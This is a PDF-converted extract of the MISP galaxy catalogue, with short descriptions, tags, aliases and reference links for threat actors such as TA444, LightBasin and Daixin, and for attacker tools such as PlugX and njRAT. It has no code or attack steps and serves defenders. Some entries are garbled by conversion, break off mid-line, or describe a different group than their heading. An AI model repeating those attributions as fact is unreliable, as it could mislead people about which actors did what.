TA444 is a North Korea state-sponsored threat actor that primarily focuses on financially motivated operations. They have been active since at least 2017 and have recently shifted their attention to targeting cryptocurrencies. TA444 employs various infection methods and has a diverse range of malware and backdoors at their disposal. They have been attributed to stealing hundreds of millions of dollars’ worth of cryptocurrency and related assets.

The tag is: `misp-galaxy:threat-actor="TA444"`

**Table 11604. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.proofpoint.com/us/blog/threat-insight/ta444-apt-startup-aimed-at-your-funds">https://www.proofpoint.com/us/blog/threat-insight/ta444-apt-startup-aimed-at-your-funds</a></td>
</tr>
</tbody>
</table>

UAC-0006

UAC-0006 is a financially motivated threat actor that has been active since at least 2013. They primarily target Ukrainian organizations, particularly accountants, with phishing emails containing the SmokeLoader malware. Their goal is to steal credentials and execute unauthorized fund transfers, posing a significant risk to financial systems.

The tag is: `misp-galaxy:threat-actor="UAC-0006"`

**Table 11605. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
NewsPenguin

NewsPenguin is a threat actor that has been targeting organizations in Pakistan. They use a complex payload delivery mechanism and exploit the upcoming Pakistan International Maritime Expo & Conference as a lure to trick their victims. The group has been linked to a phishing campaign that leverages spear-phishing emails and weaponized documents to deliver an advanced espionage tool.

The tag is: misp-galaxy:threat-actor="NewsPenguin"

---

DefrayX

DefrayX is a threat actor group known for their RansomExx ransomware operations. They primarily target Linux operating systems, but also release versions for Windows. The group has been active since 2018 and has targeted various sectors, including healthcare and manufacturing. They have also developed other malware strains such as PyXie RAT, Vatet loader, and Defray ransomware.

The tag is: misp-galaxy:threat-actor="DefrayX"

DefrayX is also known as:

- Hive0091

---
PerSwaysion

PerSwaysion is a threat actor known for conducting phishing campaigns targeting high-level executives. They have been active since at least August 2019 and are believed to be based in Vietnam. PerSwaysion has recently updated their techniques, using more direct phishing methods and leveraging Microsoft 365 to steal credentials.

The tag is: `misp-galaxy:threat-actor="PerSwaysion"`

### Table 11608. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.group-ib.com/perswaysion">https://blog.group-ib.com/perswaysion</a></td>
</tr>
</tbody>
</table>

Webworm

Space Pirates is a cybercrime group that has been active since at least 2017. They primarily target Russian companies and have been observed using various malware, including Deed RAT and ShadowPad. The group uses a combination of publicly available tools and their own protocols to communicate with their command-and-control servers.

The tag is: `misp-galaxy:threat-actor="Webworm"`

Webworm is also known as:

- Space Pirates

### Table 11609. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.polyswarm.io/space-pirates-target-russian-aerospace">https://blog.polyswarm.io/space-pirates-target-russian-aerospace</a></td>
</tr>
</tbody>
</table>

N4ughtysecTU

In March 2022, a hacking group calling themselves N4ughtySecTU claimed to have breached TransUnion’s systems and threatened to leak four terabytes of data if the credit bureau didn’t pay a $15-million (R242-million) ransom.

The tag is: `misp-galaxy:threat-actor="N4ughtysecTU"`
Moshen Dragon

Moshen Dragon is a Chinese-aligned cyberespionage threat actor operating in Central Asia. They have been observed deploying multiple malware triads and utilizing DLL search order hijacking to sideload ShadowPad and PlugX variants. The threat actor also employs various tools, including an LSA notification package and a passive backdoor known as GUNTERS. Their activities involve targeting the telecommunication sector and leveraging Impacket for lateral movement and data exfiltration.

The tag is: `misp-galaxy:threat-actor="Moshen Dragon"`

TiltedTemple

One of their notable tools is a custom backdoor called SockDetour, which operates filelessly and socketlessly on compromised Windows servers. The group’s activities have been linked to the exploitation of vulnerabilities in Zoho ManageEngine ADSelfService Plus and ServiceDesk Plus.

The tag is: `misp-galaxy:threat-actor="TiltedTemple"`

TiltedTemple is also known as:

- DEV-0322
**OldGremlin**

OldGremlin is a Russian-speaking ransomware group that has been active for several years. They primarily target organizations in Russia, including banks, logistics, industrial, insurance, retail, and IT companies. OldGremlin is known for using phishing emails as an initial infection vector and has developed custom malware for both Windows and Linux systems. They have conducted multiple malicious email campaigns and demand large ransoms from their victims, with some reaching millions of dollars.

The tag is: `misp-galaxy:threat-actor="OldGremlin"`

**Table 11613. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.group-ib.com/blog/oldgremlin-comeback/">https://www.group-ib.com/blog/oldgremlin-comeback/</a></td>
</tr>
</tbody>
</table>

**Storm Cloud**

Storm Cloud is a Chinese espionage threat actor known for targeting organizations across Asia, particularly Tibetan organizations and individuals. They use a variety of malware families, including GIMMICK and GOSLU, which are feature-rich and multi-platform. Storm Cloud leverages public cloud hosting services like Google Drive for command-and-control channels, making it difficult to detect their activities.

The tag is: `misp-galaxy:threat-actor="Storm Cloud"`

**Table 11614. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**CostaRicto**

CostaRicto is a cyber-espionage threat actor that operates as a mercenary group, offering its services to various clients globally. They use bespoke malware tools and sophisticated techniques like VPN proxy and SSH tunnelling. While their targets are scattered across different regions, there is a concentration in South Asia.

The tag is: `misp-galaxy:threat-actor="CostaRicto"`

**Table 11615. Table References**
TA402

TA402 is an APT group that has been tracked by Proofpoint since 2020. They primarily target government entities in the Middle East and North Africa, with a focus on intelligence collection. TA402 is known for using sophisticated phishing campaigns and constantly updating their malware implants and delivery methods to evade detection. They have been observed using cloud services like Dropbox and Google Drive for hosting malicious payloads and command-and-control infrastructure.

The tag is: `misp-galaxy:threat-actor="TA402"`

Table 11616. Table References

Links


SilverFish

SilverFish is believed to be a Russian cyberespionage group that has been involved in various cyberattacks, including the use of the SolarWinds breach as an attack vector. SilverFish has been linked to the Wasted Locker ransomware and has displayed a high level of skill and organization in their cyber operations. There are also connections between SilverFish and the threat actor Evil Corp, suggesting a possible evolution or collaboration between the two groups.

The tag is: `misp-galaxy:threat-actor="SilverFish"`

Table 11617. Table References

Links

- https://www.mandiant.com/resources/blog/unc2165-shifts-to-evade-sanctions

Blacktail

Blacktail is a cybercrime group that has gained attention for its ransomware campaigns, particularly the Buhti ransomware. They are known for using custom-built data exfiltration tools
and have been observed exploiting vulnerabilities in both Windows and Linux systems.

The tag is: misp-galaxy:threat-actor="Blacktail"

Table 11618. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://fortiguard.fortinet.com/threat-signal-report/5170">https://fortiguard.fortinet.com/threat-signal-report/5170</a></td>
</tr>
</tbody>
</table>

**MalKamak**

MalKamak is an Iranian threat actor that has been operating since at least 2018. They have been involved in highly targeted cyber espionage campaigns against global aerospace and telecommunications companies. MalKamak utilizes a sophisticated remote access Trojan called ShellClient, which evades antivirus tools and uses cloud services like Dropbox for command and control.

The tag is: misp-galaxy:threat-actor="MalKamak"

Table 11619. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**DragonForce**

DragonForce is a hacktivist group based in Malaysia that has been involved in cyberattacks targeting government institutions and commercial organizations in India. They have also targeted websites affiliated with Israel and have shown support for pro-Palestinian causes. The group has been observed using defacement attacks, distributed denial-of-service attacks, and data leaks as part of their campaigns. DragonForce Malaysia has demonstrated an ability to adapt and evolve their tactics over time.

The tag is: misp-galaxy:threat-actor="DragonForce"

Table 11620. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
LightBasin

UNC1945 is an APT group that has been targeting telecommunications companies globally. They use Linux-based implants to maintain long-term access in compromised networks. UNC1945 has demonstrated advanced technical abilities, utilizing various tools and techniques to evade detection and move laterally through networks. They have also been observed targeting other industries, such as financial and professional consulting, and have been linked to other threat actors, including MustangPanada and RedDelta.

The tag is: `misp-galaxy:threat-actor="LightBasin"

LightBasin is also known as:

- UNC1945
- CL-CRI-0025

Table 11621. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/unc2891-overview">https://www.mandiant.com/resources/unc2891-overview</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/an-analysis-of-lightbasin-telecommunications-attacks/">https://www.crowdstrike.com/blog/an-analysis-of-lightbasin-telecommunications-attacks/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/introducing-shrouded-snooper/">https://blog.talosintelligence.com/introducing-shrouded-snooper/</a></td>
</tr>
</tbody>
</table>

Red-Lili

RED-LILI is an active threat actor that has been identified by Checkmarx SCS research team. They have been publishing malicious packages on NPM and PyPi platforms, and have recently automated the process of creating NPM users for package publication. The Checkmarx team has detected around 1500 malicious packages associated with RED-LILI and has continuously disclosed their findings to the respective security teams.

The tag is: `misp-galaxy:threat-actor="Red-Lili"

Table 11622. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
WildCard

WildCard is a threat actor that initially targeted Israel’s educational sector with the SysJoker malware. They have since expanded their operations and developed additional malware variants, disguised as legitimate software, including one written in the Rust programming language called RustDown. Their precise identity remains unknown, but they have shown advanced capabilities and a focus on critical sectors within Israel.

The tag is: misp-galaxy:threat-actor="WildCard"

Table 11623. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://intezer.com/blog/research/wildcard-evolution-of-sysjoker-cyber-threat/">https://intezer.com/blog/research/wildcard-evolution-of-sysjoker-cyber-threat/</a></td>
</tr>
</tbody>
</table>

WildPressure

WildPressure is a threat actor that targets industrial-related entities in the Middle East. They use a variety of programming languages, including C++, VBScript, and Python, to develop their malware. They have been observed using virtual private servers and compromised servers, particularly WordPress websites, in their infrastructure. While there are some minor similarities with other threat actors in the region, there is not enough evidence to make any attribution.

The tag is: misp-galaxy:threat-actor="WildPressure"

Table 11624. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.redpacketsecurity.com/it-threat-evolution-q3-2021/">https://www.redpacketsecurity.com/it-threat-evolution-q3-2021/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/wildpressure-targets-macos/103072/">https://securelist.com/wildpressure-targets-macos/103072/</a></td>
</tr>
<tr>
<td><a href="https://www.redpacketsecurity.com/wildpressure-targets-industrial-related-entities-in-the-middle-east/">https://www.redpacketsecurity.com/wildpressure-targets-industrial-related-entities-in-the-middle-east/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/">https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/</a></td>
</tr>
</tbody>
</table>

TunnelSnake

The TunnelSnake campaign demonstrates the activity of a sophisticated actor that invests significant resources in designing an evasive toolset and infiltrating networks of high-profile organizations. By leveraging Windows drivers, covert communications channels and proprietary malware, the group behind it maintains a considerable level of stealth. That said, some of its TTPs, like the usage of a commodity webshell and open-source legacy code for loading unsigned drivers, may get detected and in fact were flagged by Kaspersky’s product, giving them visibility into the group’s operation.
Table 11625. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.redpacketsecurity.com/operation-tunnelsnake/">https://www.redpacketsecurity.com/operation-tunnelsnake/</a></td>
</tr>
</tbody>
</table>

ScamClub

ScamClub is a threat actor involved in malvertising activities since 2018. They target the Mobile Web market segment, particularly on iOS devices, where security software is often lacking. ScamClub utilizes obfuscation techniques and real-time bidding integration with ad exchanges to push malicious JavaScript payloads, leading to forced redirects and various scams such as phishing and gift card scams.

Table 11626. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.confiant.com/exploring-scamclub-payloads-via-deobfuscation-using-abstract-syntax-trees-65ef7f412537">https://blog.confiant.com/exploring-scamclub-payloads-via-deobfuscation-using-abstract-syntax-trees-65ef7f412537</a></td>
</tr>
</tbody>
</table>

Daixin Team

Daixin is a threat actor group that has been active since at least June 2022. They primarily target the healthcare and public health sector with ransomware attacks, stealing sensitive data and threatening to release it if a ransom is not paid. They have successfully targeted various industries, including healthcare, aerospace, automotive, and packaged foods. Daixin gains initial access through VPN servers and exploits vulnerabilities or uses phishing attacks to obtain credentials. They have been responsible for cyberattacks on organizations such as the North Texas Municipal Water District and TransForm Shared Service Org, impacting their networks and stealing customer and patient information.

Table 11627. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-294a">https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-294a</a></td>
</tr>
<tr>
<td><a href="https://www.mycert.org.my/portal/details?menu=431fab9c-d24c-4a27-ba93-e92edafdefa5&amp;id=467c2374-9c18-4fb0-b5a7-155dfca4d611">https://www.mycert.org.my/portal/details?menu=431fab9c-d24c-4a27-ba93-e92edafdefa5&amp;id=467c2374-9c18-4fb0-b5a7-155dfca4d611</a></td>
</tr>
<tr>
<td><a href="https://www.databreaches.net/b-files-leaked/">https://www.databreaches.net/b-files-leaked/</a></td>
</tr>
</tbody>
</table>
UNC2717

UNC2717 is a threat actor that engages in espionage activities aligned with Chinese government priorities. They demonstrate advanced tradecraft and take measures to avoid detection, making it challenging for network defenders to identify their tools and intrusion methods. UNC2717, along with other Chinese APT actors, has been observed stealing credentials, email communications, and intellectual property. They have targeted global government agencies using malware such as HARDPULSE, QUIETPULSE, and PULSEJUMP.

The tag is: *misp-galaxy:threat-actor=UNC2717*

Table 11628. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2021/05/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices.html">https://www.fireeye.com/blog/threat-research/2021/05/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices.html</a></td>
</tr>
</tbody>
</table>

UNC2659

UNC2659 has been active since at least January 2021. We have observed the threat actor move through the whole attack lifecycle in under 10 days. UNC2659 is notable given their use of an exploit in the SonicWall SMA100 SSL VPN product, which has since been patched by SonicWall. The threat actor appeared to download several tools used for various phases of the attack lifecycle directly from those tools' legitimate public websites.

The tag is: *misp-galaxy:threat-actor=UNC2659*

Table 11629. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://internal-www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html">http://internal-www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html</a></td>
</tr>
</tbody>
</table>

AeroBlade

AeroBlade is a previously unknown threat actor that has been targeting an aerospace organization in the United States. Their objective appears to be conducting commercial and competitive cyber espionage. They employ spear-phishing as a delivery mechanism, using weaponized documents with embedded remote template injection techniques and malicious VBA macro code. The attacks have been ongoing since September 2022, with multiple phases identified in the attack chain. The origin and precise objective of AeroBlade remain unknown.
WIP19

WIP19 is a Chinese-speaking threat group involved in espionage targeting the Middle East and Asia. They utilize a stolen certificate to sign their malware, including SQLMaggie, ScreenCap, and a credential dumper. The group has been observed targeting telecommunications and IT service providers, using toolsets authored by WinEggDrop. WIP19's activities suggest they are after specific information and are part of the broader Chinese espionage landscape.

The tag is: misp-galaxy:threat-actor="WIP19"

UNC2447

UNC2447 is a financially motivated threat actor with ties to multiple hacker groups. They have been observed deploying ransomware, including FiveHands and Hello Kitty, and engaging in double extortion tactics. They have been active since at least May 2020 and target organizations in Europe and North America.

The tag is: misp-galaxy:threat-actor="UNC2447"

UNC215

UNC215 is a Chinese nation-state threat actor that has been active since at least 2014. They have targeted organizations in various sectors, including government, technology, telecommunications,
defense, finance, entertainment, and healthcare. UNC215 has been observed using tools such as Mimikatz, FOCUSFJORD, and HYPERBRO for initial access and post-compromise activities. They have demonstrated a focus on evading detection and have employed tactics such as using trusted third parties, minimizing forensic evidence, and incorporating false flags. UNC215’s targets are located globally, with a particular focus on the Middle East, Europe, Asia, and North America.

The tag is: `misp-galaxy:threat-actor="UNC215"`

Table 11633. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**DEV-0569**

DEV-0569, also known as Storm-0569, is a threat actor group that has been observed deploying the Royal ransomware. They utilize malicious ads and phishing techniques to distribute malware and gain initial access to networks. The group has been linked to the distribution of payloads such as Batloader and has forged relationships with other threat actors. DEV-0569 has targeted various sectors, including healthcare, communications, manufacturing, and education in the United States and Brazil.

The tag is: `misp-galaxy:threat-actor="DEV-0569"`

DEV-0569 is also known as:

- Storm-0569

Table 11634. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**UAC-0118**

From Russia with Love, is a threat actor group that emerged during the Russia-Ukraine war in 2022. They primarily engage in DDoS attacks and have targeted critical infrastructure, media, energy, and government entities. FRwL has been linked to the use of the Somnia ransomware, which they employ as a wiper rather than for financial gain. While there is no direct evidence linking FRwL to the Russian Main Intelligence Directorate, it is possible that they coordinate activities with state-aligned hacktivist groups.

The tag is: `misp-galaxy:threat-actor="UAC-0118"`

UAC-0118 is also known as:

7240
• FRwL
• FromRussiaWithLove

Table 11635. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://outpost24.com/blog/ics-attack-classifications/">https://outpost24.com/blog/ics-attack-classifications/</a></td>
</tr>
</tbody>
</table>

**UAC-0050**

UAC-0050 is a threat actor that has been active since 2020, targeting government agencies in Ukraine. They have been distributing the Remcos RAT malware through phishing campaigns, using tactics such as impersonating the Security Service of Ukraine and sending emails with malicious attachments. The group has also been linked to other hacking collectives, such as UAC-0096, and has previously used remote administration tools like Remote Utilities. The motive behind their attacks is likely espionage.

The tag is: `misp-galaxy:threat-actor="UAC-0050"`

Table 11636. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cert.gov.ua/article/3931296">https://cert.gov.ua/article/3931296</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/3804703">https://cert.gov.ua/article/3804703</a></td>
</tr>
</tbody>
</table>

**UNC2630**

UNC2630 is a threat actor believed to be affiliated with the Chinese government. They engage in cyber espionage activities, targeting organizations aligned with Beijing’s strategic objectives. UNC2630 demonstrates advanced tradecraft and employs various malware families, including SLOWPULSE and RADIALPULSE, to compromise Pulse Secure VPN appliances. They also utilize modified binaries and scripts to maintain persistence and move laterally within compromised networks.

The tag is: `misp-galaxy:threat-actor="UNC2630"`

Table 11637. Table References
Sandman APT

First disclosed in 2023, the Sandman APT is likely associated with suspected China-based threat clusters known for using the KEYPLUG backdoor, specifically STORM-0866/Red Dev 40. Sandman is tracked as a distinct cluster, pending additional conclusive information. A notable characteristic is its use of the LuaDream backdoor. LuaDream is based on the Lua platform, a relatively rare occurrence in the cyberespionage domain, historically associated with APTs considered Western or Western-aligned.

The tag is: misp-galaxy:threat-actor="Sandman APT"

BiBiGun

A pro-Hamas hacktivist group developed a wiper called BiBi-Linux to target and destroy data on Israeli systems. The malware impersonates ransomware but operates solely to corrupt and delete files, indicating no data theft. A Windows variant, BiBi-Windows, was also discovered, sharing similarities with BiBi-Linux but targeting all files except executables. ESET researchers have named the group behind the wipers BiBiGun. The group’s TTPs have shown overlaps with Moses Staff, which is believed to have an Iran nexus.

The tag is: misp-galaxy:threat-actor="BiBiGun"

Table 11638. Table References

Table 11638. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1719437301900595444">https://twitter.com/ESETresearch/status/1719437301900595444</a></td>
</tr>
<tr>
<td><a href="https://github.com/knight0x07/BiBi-Windows-Wiper-Analysis?tab=readme-ov-file">https://github.com/knight0x07/BiBi-Windows-Wiper-Analysis?tab=readme-ov-file</a></td>
</tr>
</tbody>
</table>

Storm-1283

Storm-1283 is a threat actor that targeted Microsoft Azure cloud platform. They gained access to user accounts and created OAuth applications using stolen credentials, allowing them to control resources and deploy virtual machines for cryptomining. The targeted organizations incurred significant financial losses ranging from $10,000 to $1.5 million. Storm-1283 utilized compromised accounts and subscriptions to carry out their illicit activities.

The tag is: misp-galaxy:threat-actor="Storm-1283"
**Solntsepek**

Solntsepek is a threat actor group with ties to the Russian military unit GRU. They have claimed responsibility for a cyberattack on Kyivstar, a Ukrainian mobile operator, and have been linked to previous attacks on Ukrainian infrastructure. Solntsepek has been associated with the Sandworm hacking group, known for their destructive cyberattacks, including the NotPetya worm. They have also engaged in hostile activities, such as revealing personal details of Ukrainian soldiers.

The tag is: `misp-galaxy:threat-actor="Solntsepek"`

---

**UNC4736**

UNC4736 is a North Korean threat actor that has been involved in supply chain attacks targeting software chains of 3CX and X_TRADER. They have used malware strains such as TAXHAUL, Coldcat, and VEILEDSIGNAL to compromise Windows and macOS systems. UNC4736 has been linked to financially motivated cybercrime operations, particularly focused on cryptocurrency and fintech-related services. They have also demonstrated infrastructure overlap with other North Korean and APT43 activity.

The tag is: `misp-galaxy:threat-actor="UNC4736"`

---

**GambleForce**

GambleForce is a threat actor specializing in SQL injection attacks. They have targeted over 20 websites in various sectors across multiple countries, compromising six companies. GambleForce utilizes publicly available pentesting tools and has been active since mid-September 2023.

The tag is: `misp-galaxy:threat-actor="GambleForce"`
Tool

threat-actor-tools is an enumeration of tools used by adversaries. The list includes malware but also common software regularly used by the adversaries.

Tool is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Alexandre Dulaunoy - Florian Roth - Timo Steffens - Christophe Vandeplas - Dennis Rand - raw-data

Tinba

Banking Malware

The tag is: misp-galaxy:tool="Tinba"

Tinba is also known as:

- Hunter
- Zusy
- TinyBanker

View relationships graph

Tinba has relationships with:

- similar: misp-galaxy:exploit-kit="Hunter" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Tinba" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Tinba" with estimative-language:likelihood-probability="likely"

Table 11643. Table References

PlugX

Malware
The tag is: $misp\text{-}galaxy\text{:}tool=\text{"PlugX\text{"}}$

PlugX is also known as:

- Backdoor.FSZO-5117
- Trojan.Heur.JP.juW@ayZZvMb
- Trojan.Inject1.6386
- Korplug
- Agent.dhwf

View relationships graph

PlugX has relationships with:

- similar: $misp\text{-}galaxy\text{:}rat=\text{"PlugX\text{"}}$ with estimative-language:likelihood-probability=\text{"likely\text{"}}$
- similar: $misp\text{-}galaxy\text{:}mitre\text{-}malware=\text{"PlugX - S0013\text{"}}$ with estimative-language:likelihood-probability=\text{"likely\text{"}}$
- similar: $misp\text{-}galaxy\text{:}malpedia=\text{"PlugX\text{"}}$ with estimative-language:likelihood-probability=\text{"likely\text{"}}$

Table 11644. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**MSUpdater**

Trojan (RAT) linked to current targeted attacks and others dating back to at least early 2009

The tag is: $misp\text{-}galaxy\text{:}tool=\text{"MSUpdater\text{"}}$

Table 11645. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Lazagne**

A password stealing tool regularly used by attackers

The tag is: $misp\text{-}galaxy\text{:}tool=\text{"Lazagne\text{"}}$

View relationships graph

Lazagne has relationships with:
Poison Ivy

Poison Ivy is a RAT which was freely available and first released in 2005.

The tag is: `misp-galaxy:tool="Poison Ivy"`

Poison Ivy is also known as:

- Backdoor.Win32.PoisonIvy
- Gen:Trojan.Heur.PT

View relationships graph

Poison Ivy has relationships with:

- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"

SPIVY

In March 2016, Unit 42 observed this new Poison Ivy variant we've named SPIVY being deployed via weaponized documents leveraging CVE-2015-2545.

The tag is: `misp-galaxy:tool="SPIVY"`
**Torn RAT**

The tag is: `misp-galaxy:tool="Torn RAT"`

Torn RAT is also known as:

- Anchor Panda

View relationships graph

Torn RAT has relationships with:

- `used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"`

**Table 11649. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/whois-anchor-panda/">https://www.crowdstrike.com/blog/whois-anchor-panda/</a></td>
</tr>
</tbody>
</table>

**OzoneRAT**

The tag is: `misp-galaxy:tool="OzoneRAT"`

OzoneRAT is also known as:

- Ozone RAT
- ozonercp

**Table 11650. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**ZeGhost**

ZeGhost is a RAT which was freely available and first released in 2014.

The tag is: `misp-galaxy:tool="ZeGhost"`

ZeGhost is also known as:

- BackDoor-FBZT!52D84425CDF2
- Trojan.Win32.Staser.ytq
Win32/Zegost.BW

Table 11651. Table References

Links


Elise Backdoor

Trojan (RAT) linked to current targeted attacks and others dating back to at least early 2009

The tag is: misp-galaxy:tool="Elise Backdoor"

Elise Backdoor is also known as:

• Elise

View relationships graph

Elise Backdoor has relationships with:

• similar: misp-galaxy:mitre-malware="Elise - S0081" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Elise" with estimative-language:likelihood-probability="likely"

Table 11652. Table References

Links


Trojan.Laziok

A new information stealer, Trojan.Laziok, acts as a reconnaissance tool allowing attackers to gather information and tailor their attack methods for each compromised computer.

The tag is: misp-galaxy:tool="Trojan.Laziok"

Trojan.Laziok is also known as:

• Laziok

View relationships graph

Trojan.Laziok has relationships with:

• similar: misp-galaxy:malpedia="Laziok" with estimative-language:likelihood-probability="likely"
## Slempo

Android-based malware

The tag is: `misp-galaxy:tool="Slempo"`

Slempo is also known as:

- GM-Bot
- SlemBunk
- Bankosy
- Acecard

View relationships graph

Slempo has relationships with:

- similar: `misp-galaxy:android="GM Bot"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:android="Bankosy"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Slempo"` with `estimative-language:likelihood-probability="likely"`

### Table 11654. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

## PWOBot

We have discovered a malware family named ‘PWOBot’ that is fairly unique because it is written entirely in Python, and compiled via PyInstaller to generate a Microsoft Windows executable. The malware has been witnessed affecting a number of Europe-based organizations, particularly in Poland. Additionally, the malware is delivered via a popular Polish file-sharing web service.

The tag is: `misp-galaxy:tool="PWOBot"`

PWOBot is also known as:

- PWOLauncher
- PWOHTTPD
- PWOKeyLogger
Lost Door RAT

We recently came across a cyber attack that used a remote access Trojan (RAT) called Lost Door, a tool currently offered on social media sites. What also struck us the most about this RAT (detected as BKDR_LODORAT.A) is how it abuses the Port Forward feature in routers.

The tag is: *misp-galaxy:tool="Lost Door RAT"*

Lost Door RAT is also known as:

- LostDoor RAT
- BKDR_LODORAT

njRAT

The tag is: *misp-galaxy:tool="njRAT"*

njRAT is also known as:

- Bladabindi
- Jorik

View relationships graph

njRAT has relationships with:

- similar: *misp-galaxy:malpedia="NjRAT"* with estimative-language:likelihood-probability="likely"
**NanoCoreRAT**

The tag is: `misp-galaxy:tool="NanoCoreRAT"`

NanoCoreRAT is also known as:

- NanoCore
- Nancrat
- Zurten
- Atros2.CKPN

View relationships graph

NanoCoreRAT has relationships with:

- similar: `misp-galaxy:rat="NanoCore"` with estimative-language:likelihood-probability="likely"

Table 11658. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nanocore.io/">https://nanocore.io/</a></td>
</tr>
</tbody>
</table>

**Sakula**

The tag is: `misp-galaxy:tool="Sakula"`

Sakula is also known as:

- Sakurel

View relationships graph

Sakula has relationships with:

- similar: `misp-galaxy:rat="Sakula"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:mitre-malware="Sakula - S0074"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:malpedia="Sakula RAT"` with estimative-language:likelihood-probability="likely"

Table 11659. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/research/sakula-malware-family">https://www.secureworks.com/research/sakula-malware-family</a></td>
</tr>
</tbody>
</table>
Hi-ZOR

The tag is: misp-galaxy:tool="Hi-ZOR"

Table 11660. Table References

Links


Derusbi

The tag is: misp-galaxy:tool="Derusbi"

Derusbi is also known as:

• TROJ_DLLSERV.BE

View relationships graph

Derusbi has relationships with:

• similar: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Derusbi (Windows)" with estimative-language:likelihood-probability="likely"

Table 11661. Table References

Links


EvilGrab

The tag is: misp-galaxy:tool="EvilGrab"

EvilGrab is also known as:

• BKDR_HGDER
• BKDR_EVILOGE
• BKDR_NVICM
• Wmonder

View relationships graph

EvilGrab has relationships with:

• similar: misp-galaxy:mitre-malware="EvilGrab - S0152" with estimative-language:likelihood-
**Trojan.Naid**

The tag is: `misp-galaxy:tool="Trojan.Naid"`

Trojan.Naid is also known as:

- Naid
- Mdmbot.E
- AGENT.GUNZ
- AGENT.AQUP.DROPPER
- AGENT.BMZA
- MCRAT.A
- AGENT.ABQMR

[View relationships graph]

Trojan.Naid has relationships with:

- similar: `misp-galaxy:mitre-malware="Naid - S0205"` with `estimative-language:likelihood-probability="likely"`

**Moudoor**

Backdoor.Moudoor, a customized version of Gh0st RAT

The tag is: `misp-galaxy:tool="Moudoor"`

